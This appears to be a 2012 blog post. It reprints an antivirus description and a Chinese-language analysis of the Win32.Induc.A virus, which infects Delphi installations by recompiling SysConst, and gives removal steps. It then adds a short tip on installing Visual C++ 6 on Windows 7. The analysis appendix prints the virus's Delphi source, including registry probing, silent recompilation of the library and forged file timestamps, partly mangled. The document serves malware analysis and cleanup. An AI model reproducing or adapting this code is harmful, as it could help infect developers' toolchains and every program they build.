Wednesday, January 25, 2012

Win32.Induc.A

Win32.Induc.A

http://www.bitdefender.com/VIRUS-1000528-en--Win32-Induc-A.html

( Virus.Win32.Induc.a; W32/Induc virus; Win32.Induc; W32.Induc.A )

Spreading:
high

Damage:
low

Size:
varies

Discovered:
2009 Aug 19

SYMPTOMS:

Presence of a file named sysconst.bak in %Delphi_Installation_Folder%\Lib\ folder.

TECHNICAL DESCRIPTION:

     This threat spreads by infecting the systems running the Delphi development environment. When the virus code is executed it will first check if Delphi (version 4 through 7) is installed on the computer by trying to open the following registry key:
KKLM\SOFTWARE\Borland\Delphi\
If found, it will get the Delphi installation folder from the same registry key.
Next it will copy
%Delphi_Installation_Folder%\Source\Rtl\Sys\SysConst.pas to %Delphi_Installation_Folder%\Lib\SysConst.pas
and add its malicious code in the implementation section of this copy. This file will be then compiled, resulting an infected sysconst.dcu (Delphi compiled unit) but not before making a copy of the once clean sysconst.dcu file under sysconst.bak. Then the copy of sysconst.pas will be deleted.
     As sysconst is included in each software compiled in Delphi, every program compiled with an infected Delphi will have the virus code embedded.
     The malware does nothing if Delphi is not installed.
     This threat has no payload besides self-replication.

Removal instructions:

Please let BitDefender disinfect your files.
Overwrite %Delphi_Installation_Folder%\Lib\sysconst.dcu with  %Delphi_Installation_Folder%\Lib\sysconst.bak

#

DelphiWin32.Induc分析報告

Virus.Win32.Induc.a 感染型的分析:

一、檔資訊

文件大小:163840位元組

加殼類型:ASPack 2.12

編寫語言:Borland Delphi 6.0

病毒類型:感染型

二、病毒描述

該樣本為Delphi感染型病毒,通過感染Delphi庫文件中的SysConst.dcu檔,使用戶在使用被感染的庫檔編程後,生成的檔均被感染。

三、病毒行為

1.病毒在第N次處理初始化表時(Call StartExe)進行操作,即完成在程式載入正常Delphi檔前執行病毒代碼。(數位N根據被感染用戶的Delphi版本不同有所不同)。

2.迴圈檢測註冊表鍵值HKLMsoftwareBorlandDelphi X.0 判斷當前機器是否安裝Delphi。檢測版本(4.0 5.0 6.0 7.0)。如本機未安裝則直接跳出病毒代碼進行正常的初始化工作,不進行感染。

3.如安裝了Delphi則通過訪問註冊表得到用戶的Delphi安裝路徑。

4.根據用戶安裝路徑將原始檔案夾中的SysConst.pas和庫文件夾中的SysConst.dcu備份;

即%%SourceRtlSysSysConst.pas 與%%LibSysConst.dcu。

5.將Delphi源碼代碼寫入原始檔案SysConst.pas中

6.調用%%Bindcc32.exe 將感染後的源碼文件SysConst.pas 生成本地庫檔放入Lib替換SysConst.dcu文件。

7.將正常SysConst.pas備份恢復,刪除源碼中感染的檔。

8.更改庫文件中被替換後的SysConst.dcu檔時間,使其與其他檔一致。

四、病毒危害程度

該病毒實際上並不具有危害性,只是其更改了庫檔後使編譯生成的所有程式均帶有不正常代碼,而其代碼行為即為以上描述。

因為其將Delphi庫檔修改使其使用Delphi語言編譯後的檔均被感染,所以被感染檔大小不一,加殼情況也各異,本分析樣本只是從中隨機挑選,樣本大小與加殼類型都不具有代表性。

五、解決方案

這個病毒具有二次感染能力,也就是說原來你編譯出來的所有Delphi程式都可以再次感染你機器上的Delphi庫檔,要徹底清除該病毒需做到以下幾點:

1、不要運行任何Delphi編寫的程式。

2、使用殺軟掃描所有的Delphi編寫的可執行檔並清除病毒。(或直接刪除所有哦的Delphi編寫的可執行檔,包括從網上下載的)

3、將文件 %DelphiInstallPath%LibSysConst.dcu 刪掉,然後執行步驟4 或 步驟5和6。

4、將文件 %DelphiInstallPath%LibSysConst.bak 改名為 SysConst.dcu,結束。

5、調用 DCC32.exe 編譯出新的 SysConst.dcu ,編譯命令如下: %DelphiInstallPath%binDCC32.exe "%DelphiInstallPath% SourceRtlSysSysConst.pas"

6、將新編譯的SysConst.dcu(在%DelphiInstallPath% SourceRtlSys目錄下)檔複製到 %DelphiInstallPath%Lib 目錄,結束。

六、附錄(Delphi源碼)

uses windows;

var sc:array[1..24] of string=(

function x(s:string):string;

var i:integer;

begin

for i:=1 to length(s) do

if s[i]=#36 then

s[i]:=#39;

result:=s;

end;

procedure re(s,d,e:string);

var f1,f2 : textfile;

h : cardinal;

f : STARTUPINFO;

p : PROCESS_INFORMATION;

b : boolean;

t1,t2,t3 : FILETIME;

begin

CreateFile( pchar( d + $bak$ ), 0, 0, 0, 3, 0, 0);

if h<>DWORD(-1) then begin

CloseHandle(h);

exit;

end;

assignfile(f1,s);

reset(f1);

if ioresult<>0 then

exit;

assignfile(f2, d + $pas$);

rewrite(f2);

if ioresult<>0 then begin

closefile(f1);

exit;

end;

while not eof(f1) do begin

readln(f1,s);

writeln(f2,s);

if pos($implementation$,s) <>0 then

break;

end;

for h:= 1 to 1 do

writeln(f2,sc[h]);

for h:= 1 to 23 do

writeln(f2, $$$$+sc[h],$$$,$ );

writeln(f2, $$$$+sc[24]+$$$);$ );

for h:= 2 to 24 do

writeln(f2, x(sc[h]));

closefile(f1);

closefile(f2);

MoveFile(pchar(d+$dcu$),pchar(d+$bak$));

fillchar(f,sizeof(f),0);

f.cb:=sizeof(f);

f.dwFlags:=STARTF_USESHOWWINDOW;

f.wShowWindow:=SW_HIDE;

b:=CreateProcess(nil, pchar(e+$"$+d+$pas"$), 0, 0, false, 0, 0, 0, f, p);

if b then

WaitForSingleObject(p.hProcess,INFINITE);

MoveFile(pchar(d+$bak$), pchar(d+$dcu$));

DeleteFile(pchar(d+$pas$));

h:=CreateFile(pchar(d+$bak$),0,0,0,3, 0,0);

if h=DWORD(-1) then

exit;

GetFileTime(h,@t1,@t2,@t3);

CloseHandle(h);

h:= CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);

if h=DWORD(-1) then

exit;

SetFileTime(h, @t1,@t2,@t3);

CloseHandle(h);

end;

procedure st;

var k : HKEY;

c : array [1..255] of char;

i : cardinal;

r : string;

v : char;

begin

for v:=$ to $ do

if RegOpenKeyEx(HKEY_LOCAL_MACHINE, pchar($SoftwareBorlandDelphi$ + v+ $.0$ ), 0, KEY_READ, k) = 0 then begin

i:=255;

if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin

r:=$$;

i:= 1;

while c[i] <> #0 do begin

r:=r+c[i];

inc(i);

end;

re( r + $sourcertlsysSysConst$ + $.pas$, r + $libsysconst.$, $"$+r+$bindcc32.exe"$);

end;

RegCloseKey(k);

end;

end;

begin

st;

end.

 

#

http://www.gsa-online.de/products-delphi_induc_virus_remover.php

http://www.gsa-online.de/download/induc_cleaner_setup.exe

http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?name=Virus%3AWin32%2FInduc.A

#

Saturday, January 14, 2012

在 Windows 7 下安裝 Visual C++ 6的方法

在 Windows 7 下安裝 Visual C++ 6的方法

關鍵字: Visual C++ 6, vc6, win7, 安裝, 編譯

在安裝 vc6 選擇安裝項目時, 不要選擇 [TOOLS] 裡面的 [OLE/COM OBJECT VIEWER
工具]就可以順利安裝了

在開啟 vc6 前先以右鍵選擇 [以系統管理員身分執行(A)]如此就可以執行編譯的程式

參考:

Windows 7 & Vista下安装VC++,VS6.0,VC6.0最新突破http://reseth.blogbus.com/logs/38487767.html

Windows 7完美安装VC6和Delphi7
http://www.gogofly.com/blog/article/Note/68.html